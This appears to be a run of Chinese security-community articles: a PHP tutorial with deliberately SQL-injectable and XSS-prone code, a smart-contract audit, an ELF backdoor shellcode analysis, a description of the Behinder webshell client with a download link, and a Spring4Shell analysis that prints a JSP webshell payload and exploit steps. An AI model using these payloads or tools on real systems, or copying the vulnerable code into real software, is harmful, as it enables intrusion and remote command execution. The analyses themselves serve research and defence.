$type=$_FILES['file']['type'];
$newpath='upload/'.time().$name;
$file_name=trim($_FILES['file']['name']); //去空处理
$file_name=strchr($file_name,'.'); //将.后面的字符串赋值
$file_name=strtolower($file_name);//转为小写
$whitetype=['image/jpeg','image/png','image/gif'];
$white=['.gif','.png','.jpg'];
foreach ($whitetype as $key => $value1) {
//echo $value1;
foreach ($white as $key => $value2) {
//echo $value2;
//echo $file_name;
if ($type==$value1) {
if ($file_name==$value2) {
if (move_uploaded_file($path, $newpath)) {
echo "上传成功";
}
}
}
}
}
}
?>
说实话，写成这样我觉得就没有办法绕过了
白名单yyds
## 后台权限
在后台开发过程中，还是需要权限的把控，不然人家随便访问你的后台，开玩笑？？
<?php
if (!$_SESSION['id']) {
echo "<script>loaction='login.php'</script>";
exit();
}
?>
后台的每个页面必需要这个段语句。不然直接都能非用户访问了
而且前后台sesson内的信息不能相同，不然就会，前台依旧能访问后台。
这里我简单的写了一个后台的登录功能
index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
<table>
<form action="check.php" method="post">
username
<p><input type="username" name="username"></p>
password
<p><input type="password" name="password"></p>
<p><input type="submit" name="submit" value="提交"></p>
</table>
</body>
check.php
<?php
error_reporting(0);
session_start();
include '../upload/config.php';
$username=$_POST['username'];
$password=$_POST['password'];
$sql="select * from user where username='{$username}' and password='{$password}' and isadmin='1'";
//echo $sql;
$rst=mysql_query($sql);
$row=mysql_fetch_assoc($rst);
if ($row) {
$_SESSION['admin_username']=$username;
echo "<script>location='admin.php'</script>";
}
?>
admin.php
<?php
session_start();
if (!$_SESSION['admin_username']) {
echo "<script>loaction='index.php'</script>";
exit();
}
echo "登陆成功";
?>
到这里，除了sql注入之外，其实显现了另外的一种漏洞，CSRF
这里我换了个浏览器登录，却不会跳转到index.php很怪
可以看到，替换掉cookie就能达到登陆成功的效果
## 用户评论
index.php
<!doctype html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>index</title>
</head>
<body>
<table>
<form action="comment.php" method="post">
<p>评论</p>
<p><input type="text" name="text"></p>
<p><input type="submit" name="submit" value="提交"></p>
</table>
</body>
comment.php
<?php
include '../upload/config.php';
if (isset($_POST['submit'])) {
$comment=$_POST['text'];
$sql="insert into comment(text) values('{$comment}')";
$row=mysql_query($sql);
if ($row) {
echo "<script>location='show.php'</script>";
}
}
?>
show.php
<?php
include '../upload/config.php';
if (isset($_POST['submit'])) {
$comment=$_POST['text'];
$sql="insert into comment(text) values('{$comment}')";
$row=mysql_query($sql);
if ($row) {
echo "<script>location='show.php'</script>";
}
}
?>
经典XSS
# 总结
经此开发，我算是明白了，许多安全都是在开发的时候都存在的。开发的时候，不紧要实现一些需求功能，还要防止出现安全问题。 | 社区文章 |
**作者：xxxeyJ
本文为作者投稿，Seebug Paper 期待你的分享，凡经采用即有礼品相送！ 投稿邮箱：[email protected]**
## 前言
>
> 最近我搞了一个小蜜圈，星球主攻区块链安全方向，但是目前由于圈内的小伙伴扎根在传统安全行业久已，对于区块链安全没有进一步的了解(经过调研发现大多数小伙伴只停留在了晓得区块链，比特币等几个基础概念)，在此之前发在小蜜圈的文章也并没有很好的带动学习气氛，我想主要原因是由于小伙伴们对区块链安全不甚了解才导致了这幅局面，于是本文便应运而生，由于本文是出于教学的目的编写，故内容较为细化，适合对区块链安全感兴趣但目前处于新手村并且可以静下心来阅读学习的小伙伴食用，本文将会围绕着遵循
> **_附录1_** `ERC20` 标准的 SlowMist Zone Token
> 展开审计，希望本文的诞生会对后续小蜜圈以及各位小伙伴在区块链这一领域的发展起到良好的铺垫作用
## 前期准备工作
> * **SlowMist Zone Token 智能合约流程图**
>
审计智能合约之前，需要先对审计对象有个基础了解，比如这里的慢雾区通证
Smart Contract:
[0xcb0797aaca2fd4edd3bf07e7157d40322629af8b](https://etherscan.io/token/0xcb0797aaca2fd4edd3bf07e7157d40322629af8b)
(Contract Account)
Holders: 99 (持币者数量)
Max Total Supply: 102,400,000 (最大发行总量)
Decimals: 18 (精度)
Name: SlowMist Zone Token (Token 全称)
Symbol: SLOWMIST (Token 符号)
Owner Account: 0x06a3f099e75720fd7415f87edc8cd9953b36d171 (Ownership)
**_附录2_**
## CODE REVIEW
`SlowMist Zone Token` 采用单源文件多合约的形式部署智能合约，`.sol` 源文件内部合计 **共 9 个 Smart
Contract** ，其在源文件内实现 `SafeMath Library`
Line 5 标识使用 Solidity 编译器版本号不低于 `0.4.23`，且不高于下个大版本(`0.5.0`)
Line 12 - Line 52 在源文件内部实现了 `SafeMath Library`，将其作用于智能合约内部的数学运算以防止整型溢出漏洞的产生，在
SlowMist Zone Token 内部使用到的 `SafeMath Library` 只有`sub()` 以及
`add()`这两个`function`，我想这也是为什么 `div()` 功能代码被注释掉的原因，这里值得一提的是， _附录3_ `Solidity
^0.8.0` 版本之后编译器内部默认集成了 `SafeMath Library`，因此，在后续的版本直接使用 `Solidity 默认的数学运算符`
即可避免整型溢出漏洞的产生
Line 59 - Line 64 实现了一个更为精简的 `ERC20` 标准，其中声明了 **3 个 function** ，以及定义了一个
`Transfer` 事件，Line 70 `BasicToken` 子合约继承 `ERC20Basic` 父合约，Line 71 表示将
`SafeMath Library` 中的 `function` 应用于 `uint256` 整数类型，Line 73 构造一个名为
`balances`的`映射(Mapping)`，在当前智能合约中给它的定位是将此映射表示为指定账户持有的 `Token` 数量，Line 75 定义了一个
`totalSupply_` 状态变量，在当前 Token 中，使用到该状态变量的功能共有三处，其一是 Line 80 的 `totalSupply()`
function，可见性为 `public`，表示可公开调用，函数返回值为 `totalSupply_`，用以获取该 Token
中的发行总量，其二被作用在了 `MintableToken` 合约内的`mint()` function，用来与
`tmpTotal`变量联动判断当前已发行的代币数量，以确保其发行数量不超过最大发行总量，其三是这个变量`(最大发行总量)`会在后续主合约中的构造函数中定义下来，Line
89 - Line 97 实现了 `Transfer` 转账功能，检查`to`接收者地址不为 `0x00`
并检查转账金额小于等于发起人余额，通过两步检查后，使用 `SafeMath`的 `sub()`function 给调用者`uint256
balances(address(msg.sender)` 扣除转账金额，然后使用 `SafaMath`的 `add`function 给`to`
目标地址增加相应的转账金额(Token)，而后触发 `Transfer` 事件，返回 `True` 表明调用成功
通过 `balanceOf()` function 实现获取给定地址账户的余额(Token数量)
`ERC20` 合约继承自 `ERC20Basic` 合约，合约内部实现了三个方法，定义了一个 `Approval`事件
**StandardToken** 这一合约实现了标准化的 `ERC20` ，其继承自 **ERC20, BasicToken**
两个合约，合约内部定义了一个 `allowd` 映射(Mapping)， **allowd** 在此合约内表示`_owner`这一账户授权给
`_spender` 账户可使用的金额(Token)， 映射分为两部分， **mapping(keyType = > valueType)**，其中
`keyType`存在一定的限制， **keyType** 不能为 `映射`, `变长数组`, `合约`, `枚举`, `结构`，而 `valueType`
则 **无任何限制** ，可以为任意类型，包括(Mapping)自身类型，`transferFrom()` 和 `approve()`
这两个方法需要组合使用，首先通过 **approve()** 授权指定账户(`_spender`)可以使用相应金额的 `Token`， 然后被授权者通过
`transferFrom` 实现转账逻辑，而后给
`allowd[_from][msg.sender]`减去相应已使用的金额，由于`approve()`在早期版本存在条件竞争的风险，OpenZeppelin
提出了一种解决方案 详情见 **_附录4_** ，慢雾在此沿用了这种方案，使其在 `Token` 内部实现了 `increaseApproval()`
用以追加支付授权额度，以及实现了 `decreaseApproval()` 用以撤销指定额度的支付授权，其中 `decreaseApproval()`
需要传递两个参数，被授权者地址以及想要撤销的金额，逻辑如下，将已授权的金额赋值给 `oldValue`
以便后续比对金额，如果想要削减的金额比被授权者持有使用权的金额大的情况下，则将授权金额直接清零，否则，根据其(`_subtractedValue`)指定的撤销金额对被授权者减去相应的金额使用权，最后，触发
`ERC20` 合约内的 `Approval` 事件
Line 255 实现了 **Ownable Library**
，其中定义了一个名为`owner`的状态变量，表明合约所有者(Ownership)，定义了两个事件，`OwnershipRenounced` 以及
`OwnershipTransferred` ，尽管合约内并没有写关于放弃所有权的代码，紧接着是一个构造函数，用于初始化 `Ownable` 合约，将调用者
**address(msg.sender)** 赋值给 owner 这一状态变量，下面是一个修饰器(modifier)，在当前 Token
中用于校验调用者是否为所有者身份(`Ownership`)，`transferOwnership()` 方法用于移交所有权
`MintableToken` 是一个专门用于铸币的合约，继承自 `StandardToken`，`Ownable` 这两个合约，继承 Ownable
合约的原因是为了使用其 `owner` 状态变量以便于确认所有者身份， **mint()** 使用了 `hasMintPermission` 和
`canMint` 修饰器加以修饰，`hasMintPermission` 用于确认铸币者是否为 `owner` 账户，`canMint`
用于检查是否允许铸币，Line 301 定义了一个名为 `mintingFinished` 的 bool 类型的状态变量，其值为
`false`，修饰器内进行了`!`取反操作，则通过检查，函数体内首先将当前已铸币量和待铸币数量相加并赋值给一个临时变量以便检验发行量是否小于 `1.024
亿` 这个数字 (从这点可以看出此Token不可增发！)，条件判断成立后给 `mintTotal` 变量增加发行的金额以及给指定账户铸造了指定
`Token`数量，最后，触发两个事件以确认成功铸币
**Pausable** 继承自 `Ownable` Contract，合约内部定义了两个用于暂停/取消暂停的事件，Line 348 定义了一个名为
`paused`的 bool 类型状态变量，可见性为 `public`，此合约将该变量作用于 `whenNotPaused` 和 `whenPaused`
修饰器，`paused` 初始状态为 `false`，表示为暂停状态，这时只能够调用`unpause()` 以取消其暂停状态，而后 `paused`
变量被赋值为 `false`，这时则可以通过由 `whenNotPaused`修饰的 `pause()` 方法将其暂停
**PausableToken** 继承自 `StandardToken, Pausable`，使用到了`Pausable`
的修饰器`whenNotPaused`，`whenNotPaused` 修饰器 `!paused` 执行取反操作则为 `false`，得出 Token
目前处于暂停状态，可以将 **super.function** 关键词理解为继承关系的最上游，比如说 Line 399 的 `return
super.transfer(_to, _value)`，调用到的 `function()` 来自于最后一个实现此方法的合约，继承关系如下：
最后是 **SlowMistToken** 这一主合约，定义了三个用于标识 `Token` 信息的状态变量，以及 Line 455
的构造函数设定最大发行总量为 **102,400,000** 枚 `Token`，Line 458 的 `fallback()` 回退函数不可用于接收
ETH，强行向该合约账户转账将会导致状态回滚
## 后记
总体看下来，慢雾科技的 `SlowMist Zone Token`
在合约代码满足了其业务需求的同时尽可能将攻击面降至最低，就目前市面上公开的攻击手法来讲，慢雾区 `Token`
的安全性毋庸置疑，回归审计文章原题，在我看来，代码层面没有漏洞，不代表其它层面没有问题，漫雾科技给`SlowMist Zone Token`的定位是
**社区激励代币** ，它没有在二级市场流动所以不具备金融属性，即便劫持了该 Token 的 `Ownership`账户
，在我看来也做不了什么大的文章，目前来讲，该 Token 直面的威胁主要有两点，一个是防范 `Ownership`
账户沦陷的风险(比如说通过钓鱼等手段劫持其 `Owner` 账户)，另一个则是目前藏匿于区块链生态中那片光亮照不到的 `0day`
## 总结
近年来，区块链生态安全形势愈演愈烈，区块链自身的金融属性是其它行业所不具备的，据统计加密货币市值已超过 1.66
万亿美金$，区块链中的链上安全形势尤为严峻，且伴随着`DApp`( **去中心化应用** )， `DeFi` ( **去中心化金融** )，`NFT` (
**非同质化代币** )
等底层架构依附于区块链技术的新兴概念诞生，区块链也将会给一众从业者们带来前所未有的机遇，如果你对区块链安全感兴趣，并且想要加入知识星球 **区块危机**
共同学习，可以扫描下方二维码添加我的微信，星球主体内容为当下较为冷门的区块链安全(Blockchain
Security)，相信加入本星球的小伙伴们能够有所收获
## 附录
> * 1 ) [ERC20 Token Standard](https://eips.ethereum.org/EIPS/eip-20) \-> ERC20 是当前最为常见的 Token 标准
> * 2 ) [Ownership](https://github.com/OpenZeppelin/openzeppelin-> contracts/blob/master/contracts/access/Ownable.sol) \- OpenZeppelin 的
> Ownable Library 是当下最为流行的实现访问控制的 Library
> * 3 ) [Solidity v0.8.0
> Changes](https://docs.soliditylang.org/en/v0.8.6/080-breaking-changes.html)
> \- Solidity v0.8.0 更新日志
> * 4 ) [条件竞争概述](https://zhuanlan.zhihu.com/p/368639043) \- Approve()
> 存在的事务顺序依赖性问题解决方案
>
* * * | 社区文章 |
# MMD-0051-2016 – 小型ELF远程后门程序揭秘
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<http://blog.malwaremustdie.org/2016/02/mmd-0051-2016-debungking-tiny-elf.html>
译文仅供参考，具体内容表达以及含义原文为准。
**背景知识**
****
2014年的9月份,在我对shellshock漏洞进行分析和研究的过程中,我对MMD-0027-2014(利用ShellShock漏洞来加载ELF
payload,并对目标主机进行攻击)进行了分析。如果大家想要了解关于这一案例的具体信息,请点击[这里](http://blog.malwaremustdie.org/2014/09/linux-elf-bash-0day-fun-has-only-just.html)获取。
今天,我发现了一个非常有趣的ELF
x86-32实例,而在我发现它的几个小时之后,便有相关人员报告了这一感染源。但他们并不清楚其中的ELF代码是否包含有恶意代码,而且也无法识别处这种恶意软件的类别,他们只知道这个感染载体与ShellShock有关。所以我打算对这个感染载体进行分析,我希望我的研究成果能够为安全社区在分析同类病毒样本时提供有效的帮助。
我们在英特尔32位架构的计算机中对ELF代码进行了静态编译,ELF代码的编译结果如下图所示:
**恶意文件样本分析**
我的兴趣爱好之一就是去发现并验证shellcode,在得到了ELF文件的十六进制代码之后,我便准备对ELF文件头进行解析。从其代码中我发现,从“31 db
f7 e3 53 43 53 6a 02 b0 66”开始,到“cd 80 ff e1”结束,这部分数据就是我所要找的shellcode。
可能有的读者并不了解什么是shellcode,Shellcode实际是一段代码(也可以是填充数据),是用来发送到服务器利用特定漏洞的代码,一般而言,攻击者可以利用shellcode来获取目标主机的控制权限。另外,Shellcode一般是作为数据发送给受攻击服务器的。
Shellcode是溢出程序和蠕虫病毒的核心,提到它自然就会和漏洞联想在一起,毕竟Shellcode只对没有打补丁的主机有用武之地,但是网络上数以万计带着漏洞顽强运行着的服务器仍然给攻击者们提供了丰盛的晚餐。除此之外,漏洞利用中最关键的是Shellcode的编写了。
在与我之前所研究过的样本进行了分析比对之后,我发现这个shellcode更加的简短。我认为这段shellcode很可能只是一部分代码,攻击者可能出于某种原因,只截取了一部分进去,或者说这只是攻击者所采用的部分攻击模块。但无论这段代码到底有怎样的功能,我都决定要对其进行深入地研究,当然了,我肯定会使用到Radare的。可能有的读者并不了解Radare,Radare
是一款高级的命令行 Hex (十六进制)编辑器。它不仅随附了许多有用的工具,包括
rasm(汇编/反汇编)、radiff(bindiffer)、rax(base 转换)、rasc、rabin、rahase 等,而且可运行于
Linux、Windows、Maemo、iTouch/iPhone 等多种平台。
其代码和具体的操作码如下图所示:
粗略一看,这段shellcode与我之前所分析过的shellcode有些相似,但它还是略有不同的,而且它比之前的那段shellcode还要简短。接下来,我们将对其工作运行机制进行详细的分析和描述。
**恶意操作代码解析**
我对代码进行了拆解,并将它们分为了“调用”和“处理”这两个类别。具体结果如下图所示:
上图所显示的第三行代码至第二十五行代码(参考地址0x08048054至0x0804807a)所要表达的意思是:
首先,这段ELF
shellcode会调用socket,并使用socket(PF_INET)将网络通信链接与特定的IP地址和端口号进行绑定设置(如上图所示,这一部分均采用硬编码操作),这样一来,程序就成功建立了与远程设备进行网络通信的后端连接了。值得一提的是,我在其他的恶意软件或者恶意shellcode中也见过类似的处理机制。经过了上述分析之后,我发现这一实例与我在2014年9月所分析的实例(我在文章开头给出了链接地址)从某种程度上来说是有一些相似的。
除此之外,剩下的那些代码也有很多有趣的地方。
在地址0x0804807c处,代码会将内存空间(堆存储)设置为7,这也就意味着系统堆栈会将PROT_READ,
PROT_WRITE和PROT_EXEC标志设为可读,可写,和可执行。从上图中我们可以看到,从地址0x0804807e至0x0804808d的代码与此项设置有关,代码会调用相关的C函数来位内存空间进行初始化操作。
从这里开始,我似乎闻到了一丝危险的气息。我们接下来的操作将会对这一恶意行为进行详细的分析。在地址0x0804808f处,代码会重新获取socket,并且会从socket中读取相关数据(具体可参考0x08048095),然后将数据写入堆内存(可读/可写/可执行)中。
接下来,地址0x08048099中最后一行代码会跳转到ECX寄存器,而该寄存器包含有指向堆内存中存储数据的指针。没错,这也就意味着,无论堆内存中存储了什么样的数据,我们都可以直接执行它们了。
这个后门程序的适用范围非常的广,因为攻击者可以随意向受感染的主机中安装和发送任何的恶意内容。我希望各位安全研究人员能够关注这个后门。除此之外,我还认为攻击者能够利用这个后门,并通过shell向目标主机注入ELF代码。而且在黑客社区中已经有黑客这样做了,所以我也希望大家能够对此有一定的了解,不要向一些系统管理员一样,连自己的服务器被病毒感染了都不知道。
**后门的行为分析**
当后门在受感染的服务器中运行时,系统管理员可以在内核空间中观察到恶意软件所进行的操作,具体情况如下图所示:
出于安全方面的考虑,我对上图所显示的代码进行了一些切割处理。
**恶意软件的命名**
在此,我必须要对某些反病毒软件进行声讨,有的反病毒软件将这个恶意软件定义为一种“下载器”,但如果你对它的代码进行了分析,你就会发现其代码根本不会进行任何的下载操作。实际上,它是一个后门程序。利用这个后门,远程攻击者就可以通过TCP连接来触发受感染主机中的恶意代码并执行。
有的反病毒软件将这个恶意软件取名为“GetShell”,
因为通过这个后门程序进入受感染主机的绝大部分都是shell代码,所以这个名字倒也可取。但是请注意:这个恶意软件并没有使用GET方法来接收主机信息,它只会与主机建立一条IP连接,然后等待。除此之外,这个恶意软件的payload也不一定需要是shell代码,它可以是一个rootkit或者其他的恶意程序。
而有的防毒软件将这个恶意软件命名为“ShellLoader”,这真是太离谱了,这个名字与这款恶意软件压根没有任何的关系。首先,其代码并没有加载任何东西;其次,shellloader
ELF恶意软件的运行机制与其完全不懂,请不要混淆这两者的概念。
在此,我要恭喜那些能够对这款恶意软件正确命名的反病毒产品供应商,你们做得非常棒!
**恶意软件样本**
如果大家对此感兴趣的话,可以点击[这里](https://www.virustotal.com/en/file/cb95458e646859b32a88ed9778a5f9c7500d2a81eae31f0f9d70fc6b10511634/analysis/1454487250/)获取来这款恶意软件的样本。 | 社区文章 |
## 概述
本系列文章重写了java、.net、php三个版本的一句话木马，可以解析并执行客户端传递过来的加密二进制流，并实现了相应的客户端工具。从而一劳永逸的绕过WAF或者其他网络防火墙的检测。
本来是想把这三个版本写在一篇文章里，过程中发现篇幅太大，所以分成了四篇，分别是：
利用动态二进制加密实现新型一句话木马之Java篇
利用动态二进制加密实现新型一句话木马之.NET篇
利用动态二进制加密实现新型一句话木马之PHP篇
利用动态二进制加密实现新型一句话木马之客户端篇
## 正文
在前面三篇文章中，分别实现了Java、.net、PHP三个版本的新型一句话木马，也针对不同版本编程语言的特点，对客户端的差异化部分做了简单的介绍。下面就把客户端的功能再简单介绍一下，就当是README.MD了，客户端暂时取名为冰蝎，采用Java+SWT开发，支持Windows、Linux、MacOS（Mac系统需通过-XstartOnFirstThread参数执行），主要功能如下：
### 1\. 基本信息
客户端和服务端握手之后，会获取服务器的基本信息，Java、.NET版本包括环境变量、系统属性等，PHP版本会显示phpinfo的内容。
### 2\. 文件管理
这个没什么好说的，无非是文件的增删改查，稍微不同的是上传的文件都是加密传输的，可以避免被拦截。
### 3\. 命令执行
执行单条操作系统命令。
### 4\. 虚拟终端
虚拟终端是模拟了一个真实的交互式Shell环境，相当于把服务器侧的Shell给搬到了客户端，在这个Shell里可以执行各种需要交互式的命令，如ssh、mysql。比如说：我们可以在这个Shell里去ssh连接服务器侧内网的其他主机，可以参考下面这个动图：
当然，如果你习惯powershell，也可以弹个powershell出来，如下图：
### 5\. Socks代理
虚拟终端功能其实就已经部分实现了内网穿透的能力，在Shell环境里做的所有事情都是在内网环境中的。不过为了方便使用其他工具，客户端还提供了基于一句话木马的Socks代理功能，一键开启，简单高效，可以参考如下动图：
顺便说一下，代理过程中所有的流量都是在socks的基础上封装了一层AES。
### 6.反弹Shell
反弹Shell是突破防火墙的利器，也几乎是后渗透过程的必备步骤。提到后渗透，当然少不了metasploit，提到metasploit，当然少不了meterpreter，所以冰蝎客户端提供了两种反弹Shell的方式，常规Shell和Meterpreter，实现和metasploit的一键无缝对接。请参考如下动图：
上图演示的是Meterpreter，当然常规的Shell也可以对接metasploit，就不演示了。
### 7.数据库管理
常规功能，实现了数据库的可视化管理，放张截图吧：
和常规管理工具不同的是，在Java和.NET环境中，当目标机器中没有对应数据库的驱动时，会自动上传并加载数据库驱动。比如目标程序用的是MySQL的数据，但是内网有另外一台Oracle，此时就会自动上传并加载Oracle对应的驱动。
### 8.自定义代码
可以在服务端执行任意的Java、PHP、C#代码，这也是个常规功能，值得一提的是我们输入的代码都是加密传输的，所以不用为了躲避waf而用各种编码变形，效果请参考如下动图：
### 9.备忘录
渗透的时候总有很多零碎的信息需要记录，所以针对每个Shell提供了一个备忘录的功能，目前只支持纯文本，粘贴进去自动保存：
目前就实现了这么多功能，由于是在业余时间完成，略有仓促，有不少地方需要完善，当然也可能会有不少隐藏的bug，所以打算暂时不开源了，等迭代两个版本优化一下再说。如果在使用中遇到什么bug，欢迎反馈给我。
### 工具下载
下载地址：链接：<https://pan.baidu.com/s/1G_z5FNX20--mdfo0qX7MAQ> 密码：v3r0
最后，祝大家中秋节快乐！
本篇完。 | 社区文章 |
# Spring远程命令执行漏洞（CVE-2022-22965）原理分析和思考
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
上周网上爆出Spring框架存在RCE漏洞，野外流传了一小段时间后，Spring官方在3月31日正式发布了漏洞信息，漏洞编号为CVE-2022-22965。本文章对该漏洞进行了复现和分析，希望能够帮助到有相关有需要的人员。
## 一、前置知识
### 1.1 SpringMVC参数绑定
为了方便编程，SpringMVC支持将HTTP请求中的的请求参数或者请求体内容，根据Controller方法的参数，自动完成类型转换和赋值。之后，Controller方法就可以直接使用这些参数，避免了需要编写大量的代码从HttpServletRequest中获取请求数据以及类型转换。下面是一个简单的示例：
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
@Controller
public class UserController {
@RequestMapping(“/addUser”)
public @ResponseBody String addUser(User user) {
return “OK”;
}
}
public class User {
private String name;
private Department department;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public Department getDepartment() {
return department;
}
public void setDepartment(Department department) {
this.department = department;
}
}
public class Department {
private String name;
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
当请求为/addUser?name=test&department.name=SEC时，public String addUser(User
user)中的user参数内容如下：
可以看到，name自动绑定到了user参数的name属性上，department.name自动绑定到了user参数的department属性的name属性上。
注意department.name这项的绑定，表明SpringMVC支持多层嵌套的参数绑定。实际上department.name的绑定是Spring通过如下的调用链实现的：
User.getDepartment()
Department.setName()
假设请求参数名为foo.bar.baz.qux，对应Controller方法入参为Param，则有以下的调用链：
Param.getFoo()
Foo.getBar()
Bar.getBaz()
Baz.setQux() // 注意这里为set
SpringMVC实现参数绑定的主要类和方法是WebDataBinder.doBind(MutablePropertyValues)。
### 1.2 Java Bean PropertyDescriptor
PropertyDescriptor是JDK自带的java.beans包下的类，意为属性描述器，用于获取符合Java
Bean规范的对象属性和get/set方法。下面是一个简单的例子：
import java.beans.BeanInfo;
import java.beans.Introspector;
import java.beans.PropertyDescriptor;
public class PropertyDescriptorDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
BeanInfo userBeanInfo = Introspector.getBeanInfo(User.class);
PropertyDescriptor[] descriptors = userBeanInfo.getPropertyDescriptors();
PropertyDescriptor userNameDescriptor = null;
for (PropertyDescriptor descriptor : descriptors) {
if (descriptor.getName().equals(“name”)) {
userNameDescriptor = descriptor;
System.out.println(“userNameDescriptor: “ + userNameDescriptor);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
userNameDescriptor.getWriteMethod().invoke(user, “bar”);
}
}
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userNameDescriptor.getReadMethod().invoke(user));
}
}
userNameDescriptor: java.beans.PropertyDescriptor[name=name; values={expert=false; visualUpdate=false; hidden=false; enumerationValues=[Ljava.lang.Object;@5cb9f472; required=false}; propertyType=class java.lang.String; readMethod=public java.lang.String cn.jidun.User.getName(); writeMethod=public void cn.jidun.User.setName(java.lang.String)]
Before modification:
user.name: foo
After modification:
user.name: bar
从上述代码和输出结果可以看到，PropertyDescriptor实际上就是Java Bean的属性和对应get/set方法的集合。
### 1.3 Spring BeanWrapperImpl
在Spring中，BeanWrapper接口是对Bean的包装，定义了大量可以非常方便的方法对Bean的属性进行访问和设置。
BeanWrapperImpl类是BeanWrapper接口的默认实现，BeanWrapperImpl.wrappedObject属性即为被包装的Bean对象，BeanWrapperImpl对Bean的属性访问和设置最终调用的是PropertyDescriptor。
import org.springframework.beans.BeanWrapper;
import org.springframework.beans.BeanWrapperImpl;
public class BeanWrapperDemo {
public static void main(String[] args) throws Exception {
User user = new User();
user.setName(“foo”);
Department department = new Department();
department.setName(“SEC”);
user.setDepartment(department);
BeanWrapper userBeanWrapper = new BeanWrapperImpl(user);
userBeanWrapper.setAutoGrowNestedPaths(true);
System.out.println(“userBeanWrapper: “ + userBeanWrapper);
System.out.println(“Before modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
userBeanWrapper.setPropertyValue(“name”, “bar”);
userBeanWrapper.setPropertyValue(“department.name”, “IT”);
System.out.println(“After modification: “);
System.out.println(“user.name: “ + userBeanWrapper.getPropertyValue(“name”));
System.out.println(“user.department.name: “ + userBeanWrapper.getPropertyValue(“department.name”));
}
}
userBeanWrapper: org.springframework.beans.BeanWrapperImpl: wrapping object [cn.jidun.User@1d371b2d]
Before modification:
user.name: foo
user.department.name: SEC
After modification:
user.name: bar
user.department.name: IT
从上述代码和输出结果可以看到，通过BeanWrapperImpl可以很方便地访问和设置Bean的属性，比直接使用PropertyDescriptor要简单很多。
### 1.4 Tomcat AccessLogValve 和 access_log
Tomcat的Valve用于处理请求和响应，通过组合了多个Valve的Pipeline，来实现按次序对请求和响应进行一系列的处理。其中AccessLogValve用来记录访问日志access_log。Tomcat的server.xml中默认配置了AccessLogValve，所有部署在Tomcat中的Web应用均会执行该Valve，内容如下：
<Valve className="org.apache.catalina.valves.AccessLogValve" directory="logs"
prefix="localhost_access_log" suffix=".txt"
pattern="%h %l %u %t "%r" %s %b" />
下面列出配置中出现的几个重要属性：
· directory：access_log文件输出目录。
· prefix：access_log文件名前缀。
· pattern：access_log文件内容格式。
· suffix：access_log文件名后缀。
· fileDateFormat：access_log文件名日期后缀，默认为.yyyy-MM-dd。
## 二、漏洞复现
### 2.1 复现环境
· 操作系统：Ubuntu 18
· JDK：11.0.14
· Tomcat：9.0.60![]
· SpringBoot：2.6.3
### 2.2 复现过程
1.创建一个maven项目，pom.xml内容如下：
<?xml version=”1.0” encoding=”UTF-8”?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.6.3</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>CVE-2022-22965</artifactId>
<version>0.0.1-SNAPSHOT</version>
<packaging>war</packaging>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-tomcat</artifactId>
<scope>provided</scope>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
</plugins>
</build>
</project>
2.项目中添加如下代码，作为SpringBoot的启动类：
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.builder.SpringApplicationBuilder;
import org.springframework.boot.web.servlet.support.SpringBootServletInitializer;
@SpringBootApplication
public class ApplicationMain extends SpringBootServletInitializer {
@Override
protected SpringApplicationBuilder configure(SpringApplicationBuilder builder) {
return builder.sources(ApplicationMain.class);
}
public static void main(String[] args) {
SpringApplication.run(ApplicationMain.class, args);
}
}
3.将章节1.1 SpringMVC参数绑定中的User类和UserController类添加到项目中。
4.执行maven打包命令，将项目打包为war包，命令如下：
mvn clean package
5.将项目中target目录里打包生成的CVE-2022-22965-0.0.1-SNAPSHOT.war，复制到Tomcat的webapps目录下，并启动Tomcat。
6.从
<https://github.com/BobTheShoplifter/Spring4Shell-POC/blob/0c557e85ba903c7ad6f50c0306f6c8271736c35e/poc.py> 下载POC文件，执行如下命令：
python3 poc.py —url
http://localhost:8080/CVE-2022-22965-0.0.1-SNAPSHOT/addUser
7.浏览器中访问http://localhost:8080/tomcatwar.jsp?pwd=j&cmd=gnome-calculator，复现漏洞。
## 三、漏洞分析
### 3.1 POC分析
我们从POC入手进行分析。通过对POC中的data URL解码后可以拆分成如下5对参数。
**3.1.1 pattern参数**
· 参数名：class.module.classLoader.resources.context.parent.pipeline.first.pattern
· 参数值：%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream
in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream();
int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){
out.println(new String(b)); } } %{suffix}i
很明显，这个参数是SpringMVC多层嵌套参数绑定。我们可以推测出如下的调用链：
User.getClass()
java.lang.Class.getModule()
……
SomeClass.setPattern()
那实际运行过程中的调用链是怎样的呢？SomeClass是哪个类呢？带着这些问题，我们在前置知识中提到的实现SpringMVC参数绑定的主要方法WebDataBinder.doBind(MutablePropertyValues)上设置断点。
